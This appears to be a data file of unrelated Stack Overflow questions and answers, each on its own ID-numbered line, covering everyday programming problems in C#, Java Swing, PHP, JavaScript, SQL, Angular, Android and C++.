6939243	0	TFS Integration Platform: How to map users with the SVN adapter? <p>I want to migrate sourcecode from SVN to TFS2010 using the TFS Integration Platform.</p> <p>I am using the Codeplex Release from March 25th of the TFS Integration Platform.</p> <p>The SVN Adapter basically works. I can get the sourcecode from the SVN repository into TFS, including the full history (all revisions from SVN).</p> <p>However all the checkins into TFS are done as the user that is running the TFS Integration Platform Shell.</p> <p>I was wondering how I can configure a mapping of SVN users to TFS users. My SVN users are not ActiveDirectory of configured as Windows users.</p> <p>I would just like to specify an explicit mapping for each SVN user to an existing TFS user.</p> <p>On the web I found several hints at using a <code>&lt;UserMappings&gt;</code> element or a <code>&lt;ValueMap name="UserMap"&gt;</code> or an <code>&lt;AliasMappings&gt;</code> ... but there seems no concrete example how to configure that with the SVN adapter. All my experiments are failing...</p> <p>Is this supposed to work with the SVN adapter?</p> <p>Could somebody give me a hint or a pointer how to configure this mapping?</p>
7774010	0	 <p>Well, having just tried it myself with the C# 4 compiler, I got an internal <em>class</em> called <code>&lt;PrivateImplementationDetails&gt;{D1E23401-19BC-4B4E-8CC5-2C6DDEE7B97C}</code> containing a private nested <em>struct</em> called <code>__StaticArrayInitTypeSize=12</code>.</p> <p>The class contained an internal static field of the struct type called <code>$$method0x6000001-1</code>. The field itself was decorated with <code>CompilerGeneratedAttribute</code>.</p> <p>The problem is that <em>all</em> of this is implementation-specific. It could change in future releases, or it could be different from earlier releases too.</p> <p>Any member name containing <code>&lt;</code>, <code>&gt;</code> or <code>=</code> is an "unspeakable" name which <em>will</em> have been generated by the compiler, so you can view that as a sort of implicit <code>CompilerGenerated</code>, if that's any use. (There are any number of <em>other</em> uses for such generated types though.)</p>
25433843	0	 <p>If you are using:</p> <pre><code>&lt;%= render 'form', locals: {record: @record} %&gt; </code></pre> <p>then, you will need to use variable <code>record</code> instead of <code>@record</code> in your <code>_form.html.erb</code> as:</p> <pre><code>&lt;% unless record.nil? %&gt; </code></pre> <p><strong>Description:</strong></p> <p><code>locals: {record: @record}</code> means, <code>@record</code>'s value will be accessible by using <code>record</code> in the partial being rendered.</p>
12550659	0	Make awk interpret one line at a time from variable <p>I'm a completely new to shell scripting and bash. My question is how do I get awk to interpret a variable which contains linebreaks the same way as awk interpret the data from stdin?</p> <p>Example:</p> <pre><code>fileData=`cat /path/to/file` echo $fileData | awk '{print $1}' </code></pre> <p>The code above results in the following error message: <code>awk: program limit exceeded: maximum number of fields size=32767</code> which obviously means that awk interprets all the lines in <code>$fileData</code> at the same time and not one line at a time.</p> <p>How to make awk interpret one line at a time from a variable?</p>
16751436	0	 <p>You should not use MapPath() twice for the same path.</p> <p>Old Code:</p> <pre><code>System.IO.Directory.CreateDirectory(MapPath(path)); //Create directory if it doesn't exist </code></pre> <p>Corrected Code:</p> <pre><code>System.IO.Directory.CreateDirectory(path); //Create directory if it doesn't exist </code></pre> <p><strong>EDIT:</strong> Also corrected this: </p> <pre><code>string imgPath = path + "/" + imgName; </code></pre> <p>To this:</p> <pre><code>string imgPath = Path.Combine(path, imgName); </code></pre> <p><strong>whole corrected code:</strong></p> <pre><code> //get the file name of the posted image string imgName = image.FileName.ToString(); String path = Server.MapPath("~/ImageStorage");//Path //Check if directory exist if (!System.IO.Directory.Exists(path)) { System.IO.Directory.CreateDirectory(path); //Create directory if it doesn't exist } //sets the image path string imgPath = Path.Combine(path, imgName); //get the size in bytes that int imgSize = image.PostedFile.ContentLength; if (image.PostedFile != null) { if (image.PostedFile.ContentLength &gt; 0)//Check if image is greater than 5MB { //Save image to the Folder image.SaveAs(imgPath); } } </code></pre>
24076318	0	My json model in three.js is not working <p><strong>Hello!</strong> I have <a href="http://eliasljunglov.net78.net" rel="nofollow">this website</a> where I post my games. I have imported a json model and it is not rendered correct. Only 50% of the parts are visible. I have not done any textures on it yet. Anyone know this problem?</p> <p><strong>PS: When you get to my website, press on SpaceRun</strong></p>
28591420	0	 <p>This really depends on a number of factors but is generally a bad idea and can lead to <a href="http://en.wikipedia.org/wiki/Race_condition" rel="nofollow">race conditions</a>. You can avoid this by locking the value so that reads and writes are all atomic and thus can't collide.</p>
21235619	0	 <p>You can try to use <a href="http://api.jquery.com/multiple-attribute-selector/" rel="nofollow">multiple attribute</a> selector:</p> <pre><code>$('tr[:nth-child(odd)][id^="part"]').addClass("alt"); </code></pre>
15885045	0	Text following a JqueryUI button is set as the button title <p>I have the following code:</p> <pre><code>$( ".delete" ).button({ text: false, icons: { primary: "ui-icon-trash" } }); &lt;button id="delete" class="delete" /&gt;test </code></pre> <p>The word "test" is being appended to the button as its title, for some reason, instead of appearing after the button. If text is set to false, the button shows with only an icon. If text is not set to false, the word "test" appears within the button. It should just be some text following the button, and I can find no reason as to why the button is nabbing it for a title. I've also tried defining a title, a label...hasn't helped. Thanks.</p>
30723985	0	 <p>Your using old SDK tools and goolge play services.Please update your Android SDK tools and Google play services,because latest google play service will provide the inbuilt in google analytic service no need to add libGoogleAnalyticsServices.jar file to your project.Then you will simple use these method and import statemnets. import com.google.android.gms.analytics.GoogleAnalytics; import com.google.android.gms.analytics.HitBuilders; import com.google.android.gms.analytics.Tracker;</p> <p>private Tracker tracker = analytics.newTracker("UA-XXXXXX-X"); tracker.setScreenName(screenName);</p>
12815639	0	 <p>You could fetch the employees, store the result in an array and provide this array as the <a href="http://api.jqueryui.com/autocomplete/#option-source" rel="nofollow">option source</a>. </p>
10317360	0	 <p>Have you tried creating a derived class of RequiredAttribute and overriding the FormatErrorMessage method? This should work:</p> <pre><code>public class MyRequiredAttribute : System.ComponentModel.DataAnnotations.RequiredAttribute { public override string FormatErrorMessage(string name) { return base.FormatErrorMessage(string.Format("This is my error for {0}", name)); } } </code></pre>
17421790	0	How to replace EclipseLink 2.3.2 with EclipseLink 2.5 in WebLogic Server 12c <p>I currrently try to run Docx4j in WebLogic Server 12c. WebLogic Server 12c comes with EclipseLink 2.3.2. </p> <p>There is a similar <a href="http://stackoverflow.com/questions/16934344/docx4j-bad-content-types-xml-with-weblogic-12c">Post</a> describing the situation which unfortunately yield no answer. </p> <p>Docx4j does not work with the JAXB (MOXy) implementation which is part of EclipseLink 2.3.2. I got Docx4j running standalone with EclipseLink 2.5. So I am very confident that using EclipseLink 2.5 with Weblogic Server 12c will solve the issue with Docx4j.</p> <p>How can I replace the EclipseLink Vesion 2.3.2 the WebLogic Server 12c is running on with EclipseLink Version 2.5? </p>
9113071	0	 <p>Have you tried installing the Azure emulator?</p> <p>See <a href="http://connect.microsoft.com/VisualStudio/feedback/details/719329/azure-tools-1-6-fail-to-install-and-show-a-weird-error-unless-azure-emulator-is-installed-first" rel="nofollow">here</a></p>
18353167	0	App design to MVC pattern <p>The answer on this question <a href="http://stackoverflow.com/questions/18317679/swing-how-to-get-container-bind-to-jradiobutton">Swing: how to get container bind to JRadioButton?</a> made me think of MVC in a simple app design. I describe the general idea of an app and my thoughts on MVC pattern for this case.</p> <p><strong>Small app description</strong>:</p> <p>This app lets user to add simple records that consist of name and description. After pressing "add" button, they are added to the panel as two labels and radio button to let edit the record. User can save his list in a profile (serialize to xml, properties or somewhere else).</p> <p><strong>My thoughts on how to apply MVC here</strong>:</p> <p><em>Model</em></p> <ul> <li><p>Record with name and description fields</p></li> <li><p>Profile with serialization mechanism</p></li> </ul> <p><em>View</em></p> <ul> <li>Panel that contains multiple panels (records list) - one for each record (radio button + 2 labels for name and description data)</li> </ul> <p><em>Controller</em></p> <ul> <li><p>2 text boxes with labels and a button to add record</p></li> <li><p>button to edit a record</p></li> </ul> <p>At the moment there's no code samples (I'll provide them a little bit later). I don't want to hurry, I want to understand whether I go in a right MVC direction or something should be changed before implementation.</p> <p><strong>Updated</strong></p> <p>Code sample</p> <pre><code>*MainClass*: public class RecordsControl extends JFrame { private RecordsModel model; private RecordsController controller; private RecordsControlView view; public RecordsControl() { super("Records Control"); setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); initMVC(); getContentPane().add(view); pack(); setMinimumSize(new Dimension(250, 500)); setLocationRelativeTo(null); setResizable(false); setVisible(true); } private void initMVC() { model = new RecordsModel(); view = new RecordsControlView(controller); controller = new RecordsController(model, view); } } *Model*: public class RecordsModel { //Record class has only two fields String::name and String::description private List&lt;Record&gt; RecordsList; public RecordsModel() { RecordsList = new ArrayList&lt;Record&gt;(); } public void addRecord(String name, String description) { RecordsList.add(new Record(name, description)); } public List&lt;Record&gt; getRecordsList() { return RecordsList; } } *View*: public class RecordsControlView extends JPanel { private final RecordsController controller; private JLabel nameLabel; private JLabel descrLabel; private JTextField nameField; private JTextField descrField; private JButton addButton; private JButton editButton; private JButton deleteButton; private JPanel recordsListPanel; public RecordsControlView(RecordsController controller) { super(); this.controller = controller; achievNameLabel = new JLabel("Name: "); achievDescrLabel = new JLabel("Description: "); achievNameField = new JTextField(15); achievDescrField = new JTextField(15); addButton = new JButton("Add"); initGUI(); initListeners(); } private void initListeners() { addButton.addActionListener(controller); } private void initGUI() { //Main Panel this.setLayout(new GridBagLayout()); GridBagConstraints constraints = new GridBagConstraints(); //name panel //...BoxLayout label + panel //description panel //...BoxLayout label + panel //Records list Panel //...Vertical BoxLayout //Add widgets to GridBagLayout //Name panel constraints.gridx = 0; constraints.gridy = 0; constraints.insets = new Insets(5, 5, 2, 2); add(namePanel, constraints); //Description Panel constraints.gridx = 0; constraints.gridy = 1; constraints.insets = new Insets(0, 5, 5, 2); add(descrPanel, constraints); //Add button constraints.gridx = 1; constraints.gridy = 0; constraints.gridheight = 2; constraints.gridwidth = 1; constraints.insets = new Insets(5, 0, 5, 5); constraints.fill = GridBagConstraints.VERTICAL; add(addButton, constraints); //Records List panel constraints.gridx = 0; constraints.gridy = 2; constraints.gridwidth = GridBagConstraints.REMAINDER; constraints.gridheight = GridBagConstraints.REMAINDER; constraints.fill = GridBagConstraints.BOTH; constraints.insets = new Insets(0, 5, 5, 5); add(recordsListPanel, constraints); } public JButton getAddButton() { return addButton; } public void addRecord(JPanel record) { recordsListPanel.add(record); } } public class RecordsView extends JPanel { private static ButtonGroup radioButtons = new ButtonGroup(); private JRadioButton radioButton; private JLabel name; private JLabel description; public RecordsView() { super(); radioButton = new JRadioButton(); name = new JLabel(); description = new JLabel(); initGUI(); } private void initGUI() { radioButtons.add(radioButton); setLayout(new GridBagLayout()); GridBagConstraints constraints = new GridBagConstraints(); constraints.gridx = 0; constraints.gridy = 0; add(radioButton, constraints); constraints.gridx = 1; constraints.gridy = 0; constraints.weightx = 1.0; constraints.fill = GridBagConstraints.HORIZONTAL; add(name, constraints); constraints.gridx = 1; constraints.gridy = 1; constraints.weightx = 1.0; constraints.fill = GridBagConstraints.HORIZONTAL; add(description, constraints); } *Controller*: public class RecordsController implements ActionListener{ private final RecordsModel model; private final RecordsControlView view; public RecordsController(RecordsModel model, RecordsControlView view) { this.model = model; this.view = view; } @Override public void actionPerformed(ActionEvent e) { if(e.getSource() == view.getAddButton()) { RecordsView record = new RecordsView(); view.add(record); view.updateUI(); } } } </code></pre>
33821655	0	 <p>It seems that your TFS Build Service account has no required permission to access the signingKey.pfx on build agent machine. Make sure you have this file on build agent machine first. </p> <p>Then follow below steps:</p> <ol> <li>Log on the build agent as <strong>your local build service account</strong> (Better have Administrator permission)</li> <li>Open a visual studio command prompt and <strong>navigate to the directory the key is stored in</strong></li> <li>Type command <code>sn –i signingKey.pfx VS_KEY_EFCA4C5B6DFD4B4F</code>(Ensure that you use the key name appearing in the error message)</li> <li><p>When prompted for a password type the password for the pfx file</p></li> <li><p>Then rebuild it</p></li> </ol> <p><strong>Note:</strong> If you are not running Visual Studio as an Administrator try doing that as well.</p> <p>More details you can reference the answer from <em>Brandon Manchester</em> <a href="http://stackoverflow.com/questions/2815366/cannot-import-the-keyfile-blah-pfx-error-the-keyfile-may-be-password-protec">Cannot import the keyfile &#39;blah.pfx&#39; - error &#39;The keyfile may be password protected&#39;</a></p>
27262737	0	 <p>EDIT: Changed my answer since there is an <code>initial-index</code> attribute which is better. Sorry about that.</p> <p>Use <code>initial-index="2"</code> (or whatever index you like) as an attribute for <code>&lt;ons-carousel&gt;</code>.</p> <pre><code>&lt;ons-carousel initial-index="2"&gt; ... &lt;/ons-carousel&gt; </code></pre> <p>Here you can see it in action: <a href="http://codepen.io/argelius/pen/MYaGLK" rel="nofollow">http://codepen.io/argelius/pen/MYaGLK</a></p>
2531620	0	 <p>Click the Info button on your xib's main window, and set the Deployment Target to iPhone OS 3.0 or iPhone OS 3.1.</p> <p>Edit: Images!</p> <p><img src="http://derailer.org/images/stackoverflow/ibinfobutton/infobutton.png" alt="Info Button"> <img src="http://derailer.org/images/stackoverflow/ibinfobutton/deploymenttargetpopup.png" alt="Deployment Target Popup"></p> <p>(NB: These are from the 10.5 version of IB, but IIRC the 10.6 version is the same or close to it.)</p>
19826210	0	 <p>what you want in your for loop is </p> <pre><code>for(k = deck.length - 1; k &gt;= 0; k--) </code></pre> <p>your indexing is off and it never enters the shuffle algorithm ( I didn't check the correctness of it FYI so you might bump into other problems)</p>
30461485	0	 <p>If you really want to use <code>QTableView</code>, then it has special method called <code>setIndexWidget</code> and you need only index where you want to put the widget. Small example.</p> <pre><code> model = QStandardItemModel (4, 4) for row in range(4): for column in range(4): item = QStandardItem("row %d, column %d" % (row, column)) model.setItem(row, column, item) self.tableView.setModel(model) for row in range(4): c = QComboBox() c.addItems(['cell11','cell12','cell13','cell14','cell15',]) i = self.tableView.model().index(row,2) self.tableView.setIndexWidget(i,c) </code></pre> <p>Result is similar to the first answer.</p>
33739087	0	 <p>Since you have 30 &amp; 60 use those values:</p> <pre><code>update #Temp_Test set prod = 30 , total = 60 where id = 1 </code></pre>
16346066	0	 <p>You should pass strings enclosed in quotes - otherwise JavaScript thinks they're variable names:</p> <pre><code>&lt;p&gt;&lt;input type="radio" name="look" onClick="setActiveStyleSheet('main')" checked&gt; Light &amp; dark blue&lt;/p&gt; &lt;p&gt;&lt;input type="radio" name="look" onClick="setActiveStyleSheet('alt1')"&gt; Black &amp; white&lt;/p&gt; &lt;p&gt;&lt;input type="radio" name="look" onClick="setActiveStyleSheet('alt2')"&gt;Yellow &amp; red&lt;/p&gt; </code></pre> <p>But your real problem is this: </p> <pre><code>a = document.getElementsByTagName("link") </code></pre> <p>sets <code>a</code> as an HTMLCollection object, not as the link itself. Change it to:</p> <pre><code>a = document.getElementsByTagName("link")[i] </code></pre> <p>And you'll be fine. </p> <p>It seems alistapart isn't perfect after all.</p>
40460816	0	Can user makes sharing folder in Active Directory? <p>I'm using Active Directory and belong to specified group. (Not an Administrator.) I have made folder in my 'C:' and then trying to share to another group users. But I can't. Just i can get the warning message that '~Access denied~. You did not make shared resources.'. Is there way to take care of this problem? Thank you~!</p>
35045984	0	 <p>Flexbox can do that:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.chatbox { margin: 1em auto; width: 150px; height: 500px; border: 1px solid grey; display: flex; flex-direction: column-reverse; justify-content: flex-start; text-align: center; } .message { background: lightgreen; margin-bottom: .25em; padding: .25em 0 0 0; border-bottom: 2px solid green; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="chatbox"&gt; &lt;div class="message"&gt;MESSAGE 1&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 2&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 3&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 4&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 5&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 6&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 7&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 8&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 9&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 10&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 11&lt;/div&gt; &lt;div class="message"&gt;MESSAGE 12&lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
17932643	0	 <p>If you had two tables in the same database, you could use a statement like this:</p> <pre class="lang-sql prettyprint-override"><code>INSERT INTO messages1 SELECT * FROM messages2 </code></pre> <p>When you have two different database files, you can <a href="http://www.sqlite.org/lang_attach.html" rel="nofollow">ATTACH</a> one to the other:</p> <pre class="lang-sql prettyprint-override"><code>ATTACH DATABASE '...' AS toMerge </code></pre> <p>and then access it by prefixing the table name with the database name:</p> <pre class="lang-sql prettyprint-override"><code>INSERT INTO messages SELECT * FROM toMerge.messages </code></pre>
23445854	0	 <p>I made a librairy to make Hexadecimal / Decimal conversion without the use of <code>stdio.h</code>. Very simple to use :</p> <pre class="lang-c prettyprint-override"><code>char* dechex (int dec); </code></pre> <p>This will use <code>calloc()</code> to to return a pointer to an hexadecimal string, this way the quantity of memory used is optimized, so don't forget to use <code>free()</code></p> <p>Here the link on github : <a href="https://github.com/kevmuret/libhex/" rel="nofollow">https://github.com/kevmuret/libhex/</a></p>
8930678	0	 <pre><code>$strBody = "Today is" .date("l"); </code></pre> <p>Otherwise (when using +) it converted to <code>int</code>.</p>
35616180	0	 <p>Array index start from 0.<br> I presume when you say it hides the right answer button is when the answer is "2", since by your <code>giveHint</code> function it will remove index 1 from <code>answers</code> array which is "2".</p> <p>Change your <code>giveHint</code> removeAtIndex will do the trick.</p> <pre><code>func giveHint(sender: UIButton){ if self.answer != "1" { answers.removeAtIndex(0) Button1.alpha = 0 } else if self.answer != "2" { answers.removeAtIndex(1) Button2.alpha = 0 } else if self.answer != "3" { answers.removeAtIndex(2) Button3.alpha = 0 } else if self.answer != "4" { answers.removeAtIndex(3) Button4.alpha = 0 } } </code></pre>
33593540	0	Volley NetworkImageView with spinner? <p>so I want to provide some feedback to the user while I am loading a gridview of images. Below is my adapters UI. I have a very nasty way of doing my task, adding a spinner to each element of the gridview. When the NetworkImageView loads it hides the spinner..</p> <p>However I ask myself, do I want to use or show this to anyone? No way, aside from being a hack, having 8+ spinners is terrible for performance. </p> <p>I've been researching it... I see there is some copyNpaste a custom version of the NetworkImageViewer code that lets me put an observer, but that seems to be way intense / overkill.</p> <p>I also tried putting a callback into the get / set image in the volley ImageLoader to turn off the spinners when the data is accessed. It half worked, but decided it was too ugly of a solution as well.</p> <p>Aside from just doing it manually with the normal volley request and having to process the image manually and putting it on the volley success listener.. I'm stumped. Anyone know of a clean solution here? I'm guessing I have to do it manually..</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="@dimen/image_size" android:paddingBottom="@dimen/element_spacing" android:paddingTop="@dimen/element_spacing"&gt; &lt;ImageView android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_margin="@dimen/element_spacing" android:background="@color/color_primary" android:gravity="center_vertical" /&gt; &lt;ProgressBar android:id="@+id/grid_adapter_spinner" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" /&gt; &lt;com.android.volley.toolbox.NetworkImageView android:id="@+id/gridview_adapter_networkimageview" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_margin="@dimen/element_spacing" android:background="@color/color_primary" android:layout_centerInParent="true" /&gt; &lt;/RelativeLayout&gt; </code></pre>
17838168	1	Can I build an automatic class-factory that works on import? <p>I have a class-factory F that generates classes. It takes no arguments other than a name. I'd like to be able to wrap this method and use it like this:</p> <pre><code>from myproject.myfactory.virtualmodule import Foo </code></pre> <p>"myfactory" is a real module in the project, but I want virtualmodule to be something that pretends to be a module.</p> <p>Whenever I import something from virtualmodule I want it to build a new class using my factory method and make it look as if that was imported. </p> <p>Can this be done? Is there a pattern that will allow me to wrap a class-factory as a module?</p> <p>Thanks!</p> <p>--</p> <p>UPDATE0: Why do I need this? It's actually to test a process that will be run on a grid which requires that all classes should be importable.</p> <p>An instance of the auto-generated class will be serialized on my PC and then unserialized on each of the grid nodes. If the class cannot be imported on the grid node the unserialize will fail. </p> <p>If I hijack the import mechanism as an interface for making my test-classes, then I know for sure that anything I can import on my PC can be re-created exactly the same on the grid. That will satisfy my test's requirements.</p>
5539077	0	 <p>You could use ManualResetEvents and WaitHandle.WaitAny. Basically when one thread is done you would notify the other thread by using a ManualResetEvent (ManualResetEvent.Set()). </p> <pre><code>ManualResetEvent threadFinished = new ManualResetEvent(false); //You would set this in the thread that has finished threadFinished.Set() //You would use this in the thread that you want to wait for this event to be signalled int nWait = WaitHandle.WaitAny(new ManualResetEvent[] { threadFinished }, 10, true); //if yes stop thread if (nWait == 0) { //Thread is finished } </code></pre>
14206874	0	 <p>I have had an amazing experience with Behat / Mink <a href="http://behat.org">http://behat.org</a></p> <p>I agree with others php as a unit testing platform is not a fun or experience BDD is the best way to go if you are using any php framework</p> <p>Wrapping my head around composer as a repo build tool was the biggest stumbling block but we were able to use Behat Mink Selenium Webdriver standalone server jar as an amazing design and regression testing tool. We used to run our regression suite against our CakePHP application on a Jenkins server but it proved to be not so very "fail fast" enough</p> <p>Now our workflow goes like this: Create story in gherkin refine story write feature and stub out any new step defs begin coding php solution to test Then at the end we have a working feature or bug fix with a bdd test covering it</p> <p>We setup an Ubuntu VM with a working Behat setup and copied it to every workstation. We baked it into our process. We just pull down changes run tests then begin coding new stuff.</p> <p>We wrote a shell script to automatically run mysql dumps and load them before each feature which has made refactoring code a breeze.</p> <p>The Mink WebAssert class gives you all the assertions you need to validate behavior The regular session / CommonContext classes are great for using css or xpath. </p> <p>I have used Capybara / WebDriver with Java and Rails projects before and found the setup overhead / learning curve is too high compared to Behat. </p>
13146879	0	 <p>Try like below,</p> <pre><code>//Note the quotes moved -----------------v $.getJSON('http://api.websiteexample.com/' + apikey); </code></pre> <p>When you have it inside quotes.. It would be considered as a <code>string</code>. You need to put it outside quotes for it to know it is an variable.</p>
7008429	0	Programmatically change view orientation without rotating ipad <p>I would like to rotate a ViewController based on some condition. The problem with shouldAutorotateToInterfaceOrientation is that the view always start with portrait/landscape orientation (as set in Interface Builder) and the user has to rotate the ipad to use the correct mode.... How can I change this behavior? Thank you.</p>
28424284	0	 <p><code>out</code> has two forms, <code>out &lt;imm8&gt;, al/ax/eax</code> and <code>out dx, al/ax/eax</code>. Your instruction matches neither of these, so it is malformed.</p> <p>Change your code such that the value you want is in <code>eax</code> instead of <code>ecx</code> (which might be as easy as <code>mov eax, ecx</code>) and use the second form.</p> <p>Assembler messages are often inadequate, so get your hands on an instruction reference.</p>
24708692	0	 <p>if you are using storyboard to get a viewcontroller ,you can try this.</p> <pre><code>-(void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { UIStoryboard *storyboard = [ UIStoryboard storyboardWithName:@"Main" bundle:nil ]; SecondViewController *vc = [storyboard instantiateViewControllerWithIdentifier:@"test" ]; vc.title = @"something"; [self.navigationController pushViewController:detailView animated:YES]; } </code></pre>
39857565	0	Typescript warnings when using interface and OpaqueToken in Angular 2 app <p>I have been following the documentation <a href="https://angular.io/docs/ts/latest/guide/dependency-injection.html#!#non-class-dependencies" rel="nofollow">here</a> and use <strong>ng-cli</strong>.</p> <p>I created the following configuration file (<strong>app-config.ts</strong>):</p> <pre><code>import { OpaqueToken } from '@angular/core'; export interface AppConfig { supportTelephoneNumber: string; } export let APP_CONFIG_t = new OpaqueToken('app.config'); export const APP_CONFIG: AppConfig = { supportTelephoneNumber: '1111 111 1111' }; </code></pre> <p>and in my <strong>app.module.ts</strong> file I have:</p> <pre><code>... @NgModule({ declarations: [ UkCurrencyPipe, AppComponent, HomeComponent ], imports: [ BrowserModule, FormsModule, HttpModule, RouterModule.forRoot(ROUTES, { useHash: true }), MaterialModule.forRoot() ], providers: [ { provide: APP_CONFIG_t, useValue: APP_CONFIG }, ... </code></pre> <p>I use this configuration in my <strong>app.component.ts</strong> file like this:</p> <pre><code>import { Component, Inject } from '@angular/core'; import { APP_CONFIG_t, AppConfig } from './app-config'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.less'] }) export class AppComponent { constructor(@Inject(APP_CONFIG_t) public config: AppConfig) { callSupport(): void { window.location.href = 'tel:+' + this.config.supportTelephoneNumber; } } </code></pre> <p>When I serve my app using <strong>ng serve</strong> everything seems to work fine but I do see these warnings in the console from where I run <strong>ng server</strong>:</p> <blockquote> <p>WARNING in ./src/app/app.component.ts<br/> 40:166 export 'AppConfig' was not found in './app-config'</p> <p>WARNING in ./src/app/app.component.ts<br/> 40:195 export 'AppConfig' was not found in './app-config'</p> </blockquote> <p>Does anyone know what these warnings mean and whether or not I should worry about them?</p> <p><strong>My Versions</strong></p> <ul> <li>OS: Mac OS X El Capitan v10.11.6</li> <li>ng-cli: v1.0.0-beta.16</li> <li>angular: v2.0.1</li> <li>typescript: v2.0.2</li> </ul>
38464553	0	 <p>Client side rules obviously run only when the client (Outlook) is open. Server side rules (Exchange only) always run, but they do not run any scripts and are limited to things like forwarding.</p>
21008833	0	build query to select data based on another table <p>tables <img src="https://i.stack.imgur.com/PbdgS.jpg" alt="enter image description here"></p> <p>sample data</p> <p>walls</p> <pre><code>wall_id wall_name 1 wall_1 2 wall_2 6 wall_6 </code></pre> <p>wall_categories</p> <pre><code>wall_id category_id 1 2 2 1 6 1 6 2 </code></pre> <p>categories</p> <pre><code>category_id category_name 1 Wallpaper 2 Photography </code></pre> <p>html</p> <pre><code>&lt;a href="file.php?category=wallpaper"&gt;Wallpaper&lt;/a&gt; &lt;a href="file.php?category=photography"&gt;Photography&lt;/a&gt; </code></pre> <p>What I need to do is when the user click the <code>Wallpaper</code> link, I want the images with <code>wallpaper</code> as category to be displayed same with <code>photography</code>. I have built an initial query but it generates duplicate records as I'm using join, there must be something else that need to be added to make it work.</p> <pre><code> SELECT DISTINCT walls.wall_id, walls.wall_name, walls.wall_views, walls.upload_date, categories.category_name FROM categories INNER JOIN wall_categories ON wall_categories.category_id=categories.category_id INNER JOIN walls ON walls.wall_id=wall_categories.wall_id; </code></pre> <p>or since the <code>category_id</code> is fixed, we can use <code>walls</code> and <code>wall_categories</code> table only. Then lets' say we can use the following html.</p> <pre><code>&lt;a href="file.php?category=1"&gt;Wallpaper&lt;/a&gt; &lt;a href="file.php?category=2"&gt;Photography&lt;/a&gt; </code></pre>
27621483	0	netbeans oracle 12c occi windows <p>I'm using netbeans 8.0 on Windows 7 x64 and trying to connect to oracle 12.1 using occi. I've downloaded 12.1.0.2.0 Oracle Instant Client for Windows x64 Basic+SDK. Installed it just unzipping to D:\instantclient_12_1. And then added this path into Windows Path variable. Netbeans is using mingw64 compiler In project properties in Make>compiler C++ category for include catalog(-I) D:/instantclient_12_1/sdk/include In linker addiational libraries(-L) catalog is D:/instantclient_12_1</p> <pre><code>#include &lt;iostream&gt; #include &lt;occi.h&gt; using namespace std; using namespace oracle::occi; /* * */ int main(int argc, char** argv) { Environment *env = Environment::createEnvironment(); Environment::terminateEnvironment(env); return 0; } </code></pre> <p>But during making project I get:</p> <pre><code>g++ -o dist/Debug/MinGW_64-Windows/cppapplication_1 build/Debug/MinGW_64-Windows/main.o build/Debug/MinGW_64-Windows/main.o: In function `main': C:\NetBeansProjects\CppApplication_1/main.cpp:17: undefined reference to `oracle::occi::Environment::createEnvironment(oracle::occi::Environment::Mode, void*, void* (*)(void*, unsigned long long), void* (*)(void*, void*, unsigned long long), void (*)(void*, void*))' C:\NetBeansProjects\CppApplication_1/main.cpp:18: undefined reference to `oracle::occi::Environment::terminateEnvironment(oracle::occi::Environment*)' collect2.exe: error: ld returned 1 exit status make.exe[2]: *** [dist/Debug/MinGW_64-Windows/cppapplication_1.exe] Error 1 make.exe[2]: Leaving directory `/c/NetBeansProjects/CppApplication_1' make.exe[1]: *** [.build-conf] Error 2 make.exe[1]: Leaving directory `/c/NetBeansProjects/CppApplication_1' make.exe": *** [.build-impl] Error 2 </code></pre> <p>I tried to add libraries "oraociei12.dll", "oraocci12d.dll"(in Debug mode), "oraocci12.dll", "orannzsbb12.dll", "oci.dll" with -l option but without changes. What's wrong?</p>
32803472	0	Create a SIN number validator <p>I am creating a C program which tests if a user has entered a valid SIN number. Here is what I have done so far:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { int num1; printf("Enter your SIN number: \n"); scanf("%d", &amp;num1); } </code></pre> <p>SIN number is a 9 digit long number. To see if it is valid, I want to multiply the SIN number like this: </p> <pre><code>add SIN number with 121 212 121. 123 456 789 121 212 121 </code></pre> <p>How would I do this part in C programming language?</p>
24607298	0	 <p>You're not storing the actual image (binary data) into the database, but the <code>tmp_name</code> (string). Use <code>file_get_contents()</code>, like so:</p> <pre><code>$image = addslashes(file_get_contents($_FILES['image']['tmp_name'])); </code></pre>
5944027	0	 <p>You don't, the user decided that she was tired of waiting and wanted to work with a responsive program. Review the fine print in SetForegroundWindow() for all the reasons that trying to find a workaround for this won't actually work. Make sure she can get back to the program when it is initialized, a taskbar button is key.</p>
115155	0	 <p>Bjarne Stroustrup has a short paper called <a href="http://www.research.att.com/~bs/abstraction.pdf" rel="nofollow noreferrer">Abstraction, libraries, and efficiency in C++</a> where he mentions techniques used to achieve what you're looking for. Specifically, he mentions the library <a href="http://www.oonumerics.org/blitz/" rel="nofollow noreferrer">Blitz++</a>, a library for scientific calculations that also has efficient operations for matrices, along with some other interesting libraries. Also, I recommend reading <a href="http://www.artima.com/intv/abstreffi.html" rel="nofollow noreferrer">a conversation with Bjarne Stroustrup on artima.com</a> on that subject.</p>
